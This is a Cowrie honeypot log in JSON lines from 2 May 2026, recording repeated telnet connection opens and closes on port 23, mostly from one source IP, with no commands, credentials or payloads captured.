{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":33748,"dst_ip":"159.203.135.109","dst_port":23,"session":"7936dfd9b716","protocol":"telnet","message":"New connection: 207.244.241.37:33748 (159.203.135.109:23) [session: 7936dfd9b716]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:09.135962Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":33772,"dst_ip":"159.203.135.109","dst_port":23,"session":"e25ce28708f4","protocol":"telnet","message":"New connection: 207.244.241.37:33772 (159.203.135.109:23) [session: e25ce28708f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:09.157076Z"}
{"eventid":"cowrie.session.closed","duration":51.15936326980591,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:09.197912Z","src_ip":"206.189.32.23","session":"55f91f390e0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.63297700881958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:09.653362Z","src_ip":"216.10.244.42","session":"b62d9603d759","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.15497851371765,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:10.111349Z","src_ip":"207.244.241.37","session":"5d8efe0d6c3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.628525257110596,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:10.132240Z","src_ip":"207.244.241.37","session":"15c1a3fdad31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":35722,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e6a1c6c16e1","protocol":"telnet","message":"New connection: 207.244.241.37:35722 (159.203.135.109:23) [session: 4e6a1c6c16e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:10.285418Z"}
{"eventid":"cowrie.session.closed","duration":30.92728042602539,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:10.300094Z","src_ip":"207.244.241.37","session":"bbc86176850a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.136939764022827,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:10.446230Z","src_ip":"207.244.241.37","session":"2afa125202e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":38816,"dst_ip":"159.203.135.109","dst_port":23,"session":"01b15fd14f71","protocol":"telnet","message":"New connection: 207.244.241.37:38816 (159.203.135.109:23) [session: 01b15fd14f71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:12.572041Z"}
{"eventid":"cowrie.session.closed","duration":46.31284308433533,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:12.845772Z","src_ip":"188.208.141.113","session":"526acecd1e7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":40396,"dst_ip":"159.203.135.109","dst_port":23,"session":"f24e09da8c94","protocol":"telnet","message":"New connection: 207.244.241.37:40396 (159.203.135.109:23) [session: f24e09da8c94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:13.409890Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":40886,"dst_ip":"159.203.135.109","dst_port":23,"session":"036c18c3925b","protocol":"telnet","message":"New connection: 207.244.241.37:40886 (159.203.135.109:23) [session: 036c18c3925b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:13.763954Z"}
{"eventid":"cowrie.session.closed","duration":30.87634563446045,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:15.029822Z","src_ip":"207.244.241.37","session":"aeb4eef72973","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.874982833862305,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:15.109940Z","src_ip":"207.244.241.37","session":"d8854d583f15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":43792,"dst_ip":"159.203.135.109","dst_port":23,"session":"9dc7aa11229c","protocol":"telnet","message":"New connection: 207.244.241.37:43792 (159.203.135.109:23) [session: 9dc7aa11229c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:15.709846Z"}
{"eventid":"cowrie.session.closed","duration":31.27445697784424,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:15.717294Z","src_ip":"207.244.241.37","session":"f5e1235f39a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":43802,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ce32acbb90f","protocol":"telnet","message":"New connection: 207.244.241.37:43802 (159.203.135.109:23) [session: 8ce32acbb90f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:15.722344Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":45714,"dst_ip":"159.203.135.109","dst_port":23,"session":"2bfe629becdc","protocol":"telnet","message":"New connection: 207.244.241.37:45714 (159.203.135.109:23) [session: 2bfe629becdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:16.749485Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58450,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0543a9a5e88","protocol":"telnet","message":"New connection: 188.208.141.113:58450 (10.17.0.5:23) [session: a0543a9a5e88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:16.936683Z"}
{"eventid":"cowrie.session.closed","duration":41.97064018249512,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:17.558471Z","src_ip":"188.208.141.113","session":"a610b0700e68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":45390,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea8bc5ad4329","protocol":"telnet","message":"New connection: 207.244.241.37:45390 (159.203.135.109:23) [session: ea8bc5ad4329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:17.582375Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":47602,"dst_ip":"159.203.135.109","dst_port":23,"session":"292c98c00a2f","protocol":"telnet","message":"New connection: 207.244.241.37:47602 (159.203.135.109:23) [session: 292c98c00a2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:18.839125Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":54660,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f9aab2e5d11","protocol":"telnet","message":"New connection: 207.244.241.37:54660 (159.203.135.109:23) [session: 8f9aab2e5d11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:22.283860Z"}
{"eventid":"cowrie.session.closed","duration":30.44302773475647,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:22.421582Z","src_ip":"207.244.241.37","session":"b42509e4c019","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":51954,"dst_ip":"159.203.135.109","dst_port":23,"session":"352ef1367cb7","protocol":"telnet","message":"New connection: 207.244.241.37:51954 (159.203.135.109:23) [session: 352ef1367cb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:23.699716Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":55468,"dst_ip":"159.203.135.109","dst_port":23,"session":"277ec3c29874","protocol":"telnet","message":"New connection: 207.244.241.37:55468 (159.203.135.109:23) [session: 277ec3c29874]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:23.804239Z"}
{"eventid":"cowrie.session.closed","duration":30.95778489112854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:24.832319Z","src_ip":"207.244.241.37","session":"7f166ec22f76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95887565612793,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:27.170109Z","src_ip":"207.244.241.37","session":"1997e508ecc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.679682970046997,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:29.917526Z","src_ip":"207.244.241.37","session":"a6d759c6b79e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.682482719421387,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:30.154529Z","src_ip":"207.244.241.37","session":"489373298dd7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":40052,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc9ef473e161","protocol":"telnet","message":"New connection: 207.244.241.37:40052 (159.203.135.109:23) [session: cc9ef473e161]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:30.289750Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":43156,"dst_ip":"159.203.135.109","dst_port":23,"session":"0eef74d9e53a","protocol":"telnet","message":"New connection: 207.244.241.37:43156 (159.203.135.109:23) [session: 0eef74d9e53a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:31.966054Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":43280,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee3700ca01dd","protocol":"telnet","message":"New connection: 207.244.241.37:43280 (159.203.135.109:23) [session: ee3700ca01dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:32.030981Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":45658,"dst_ip":"159.203.135.109","dst_port":23,"session":"50ff9c3b1b99","protocol":"telnet","message":"New connection: 207.244.241.37:45658 (159.203.135.109:23) [session: 50ff9c3b1b99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:33.629606Z"}
{"eventid":"cowrie.session.closed","duration":31.00980544090271,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:34.022608Z","src_ip":"207.244.241.37","session":"9d51599baf10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.231828927993774,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:34.920093Z","src_ip":"207.244.241.37","session":"a21d5d5d7408","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.88753914833069,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:36.028110Z","src_ip":"207.244.241.37","session":"11a012718ecc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":52646,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f75348cbc55","protocol":"telnet","message":"New connection: 207.244.241.37:52646 (159.203.135.109:23) [session: 6f75348cbc55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:37.096842Z"}
{"eventid":"cowrie.session.closed","duration":31.167247533798218,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:37.955928Z","src_ip":"162.219.178.250","session":"8b86a77b7516","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":56002,"dst_ip":"159.203.135.109","dst_port":23,"session":"e29841279919","protocol":"telnet","message":"New connection: 207.244.241.37:56002 (159.203.135.109:23) [session: e29841279919]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:39.122170Z"}
{"eventid":"cowrie.session.closed","duration":31.27908182144165,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:39.670175Z","src_ip":"207.244.241.37","session":"04db381a3ecb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.219427585601807,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:40.376404Z","src_ip":"207.244.241.37","session":"e25ce28708f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.67109227180481,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:40.806959Z","src_ip":"207.244.241.37","session":"7936dfd9b716","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":56430,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3e6836bd560","protocol":"telnet","message":"New connection: 162.219.178.250:56430 (10.17.0.5:23) [session: e3e6836bd560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:41.134578Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":60554,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9ffcb57f17a","protocol":"telnet","message":"New connection: 162.219.178.250:60554 (10.17.0.5:23) [session: f9ffcb57f17a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:41.231016Z"}
{"eventid":"cowrie.session.closed","duration":31.060611963272095,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:41.345924Z","src_ip":"207.244.241.37","session":"4e6a1c6c16e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":59396,"dst_ip":"159.203.135.109","dst_port":23,"session":"235398e6b486","protocol":"telnet","message":"New connection: 207.244.241.37:59396 (159.203.135.109:23) [session: 235398e6b486]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:41.940957Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":32940,"dst_ip":"10.17.0.5","dst_port":23,"session":"4689feae5e6e","protocol":"telnet","message":"New connection: 162.219.178.250:32940 (10.17.0.5:23) [session: 4689feae5e6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:42.733424Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":56190,"dst_ip":"10.17.0.5","dst_port":23,"session":"adf7d9cfa3d8","protocol":"telnet","message":"New connection: 206.189.32.23:56190 (10.17.0.5:23) [session: adf7d9cfa3d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:43.098642Z"}
{"eventid":"cowrie.session.closed","duration":31.366875171661377,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:43.938799Z","src_ip":"207.244.241.37","session":"01b15fd14f71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.27373743057251,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:44.037588Z","src_ip":"207.244.241.37","session":"036c18c3925b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.44320249557495,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:44.852970Z","src_ip":"207.244.241.37","session":"f24e09da8c94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":40484,"dst_ip":"159.203.135.109","dst_port":23,"session":"7084837d3ff6","protocol":"telnet","message":"New connection: 207.244.241.37:40484 (159.203.135.109:23) [session: 7084837d3ff6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:46.027711Z"}
{"eventid":"cowrie.session.closed","duration":30.403284311294556,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:46.125540Z","src_ip":"207.244.241.37","session":"8ce32acbb90f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.52065944671631,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:46.230407Z","src_ip":"207.244.241.37","session":"9dc7aa11229c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":42812,"dst_ip":"159.203.135.109","dst_port":23,"session":"77ce703a3228","protocol":"telnet","message":"New connection: 207.244.241.37:42812 (159.203.135.109:23) [session: 77ce703a3228]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:47.287169Z"}
{"eventid":"cowrie.session.closed","duration":30.865195512771606,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:47.614551Z","src_ip":"207.244.241.37","session":"2bfe629becdc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":44962,"dst_ip":"159.203.135.109","dst_port":23,"session":"39e2ef074584","protocol":"telnet","message":"New connection: 207.244.241.37:44962 (159.203.135.109:23) [session: 39e2ef074584]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:48.491038Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":45466,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae92ddca32ca","protocol":"telnet","message":"New connection: 207.244.241.37:45466 (159.203.135.109:23) [session: ae92ddca32ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:48.857553Z"}
{"eventid":"cowrie.session.closed","duration":31.338865280151367,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:48.921115Z","src_ip":"207.244.241.37","session":"ea8bc5ad4329","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.716607570648193,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:49.555632Z","src_ip":"207.244.241.37","session":"292c98c00a2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.11068844795227,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:50.047238Z","src_ip":"188.208.141.113","session":"a0543a9a5e88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":48114,"dst_ip":"159.203.135.109","dst_port":23,"session":"a464cbce67b4","protocol":"telnet","message":"New connection: 207.244.241.37:48114 (159.203.135.109:23) [session: a464cbce67b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:50.296582Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":45572,"dst_ip":"10.17.0.5","dst_port":23,"session":"7acd2b961e7e","protocol":"telnet","message":"New connection: 162.219.178.250:45572 (10.17.0.5:23) [session: 7acd2b961e7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:51.569169Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":49198,"dst_ip":"159.203.135.109","dst_port":23,"session":"f480f7c74b32","protocol":"telnet","message":"New connection: 207.244.241.37:49198 (159.203.135.109:23) [session: f480f7c74b32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:51.758796Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":52592,"dst_ip":"159.203.135.109","dst_port":23,"session":"80fbec0bd9b1","protocol":"telnet","message":"New connection: 207.244.241.37:52592 (159.203.135.109:23) [session: 80fbec0bd9b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:52.455146Z"}
{"eventid":"cowrie.session.closed","duration":31.273889303207397,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:53.557625Z","src_ip":"207.244.241.37","session":"8f9aab2e5d11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.227401733398438,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:54.031545Z","src_ip":"207.244.241.37","session":"277ec3c29874","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75196361541748,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:54.451473Z","src_ip":"207.244.241.37","session":"352ef1367cb7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":41900,"dst_ip":"10.17.0.5","dst_port":23,"session":"16395c6d20e8","protocol":"telnet","message":"New connection: 162.219.178.250:41900 (10.17.0.5:23) [session: 16395c6d20e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:54.830232Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":40106,"dst_ip":"10.17.0.5","dst_port":23,"session":"91f94011f98d","protocol":"telnet","message":"New connection: 162.219.178.250:40106 (10.17.0.5:23) [session: 91f94011f98d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:55.615432Z"}
{"eventid":"cowrie.session.closed","duration":0.0051364898681640625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:55.620437Z","src_ip":"162.219.178.250","session":"91f94011f98d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":58540,"dst_ip":"159.203.135.109","dst_port":23,"session":"49db785060ab","protocol":"telnet","message":"New connection: 207.244.241.37:58540 (159.203.135.109:23) [session: 49db785060ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:55.721899Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":60558,"dst_ip":"159.203.135.109","dst_port":23,"session":"606e21f7baab","protocol":"telnet","message":"New connection: 207.244.241.37:60558 (159.203.135.109:23) [session: 606e21f7baab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:56.612736Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":32862,"dst_ip":"159.203.135.109","dst_port":23,"session":"36ad189c41de","protocol":"telnet","message":"New connection: 207.244.241.37:32862 (159.203.135.109:23) [session: 36ad189c41de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:56.824124Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":34044,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d2da4346264","protocol":"telnet","message":"New connection: 207.244.241.37:34044 (159.203.135.109:23) [session: 9d2da4346264]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:57.326360Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":41610,"dst_ip":"10.17.0.5","dst_port":23,"session":"9696063e25f2","protocol":"telnet","message":"New connection: 162.219.178.250:41610 (10.17.0.5:23) [session: 9696063e25f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:57.391352Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":34448,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c1ca692880c","protocol":"telnet","message":"New connection: 207.244.241.37:34448 (159.203.135.109:23) [session: 9c1ca692880c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:57.545511Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":34688,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5a3e756ce84","protocol":"telnet","message":"New connection: 207.244.241.37:34688 (159.203.135.109:23) [session: d5a3e756ce84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:57.693614Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":34142,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae66137d4732","protocol":"telnet","message":"New connection: 207.244.241.37:34142 (159.203.135.109:23) [session: ae66137d4732]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:58.381778Z"}
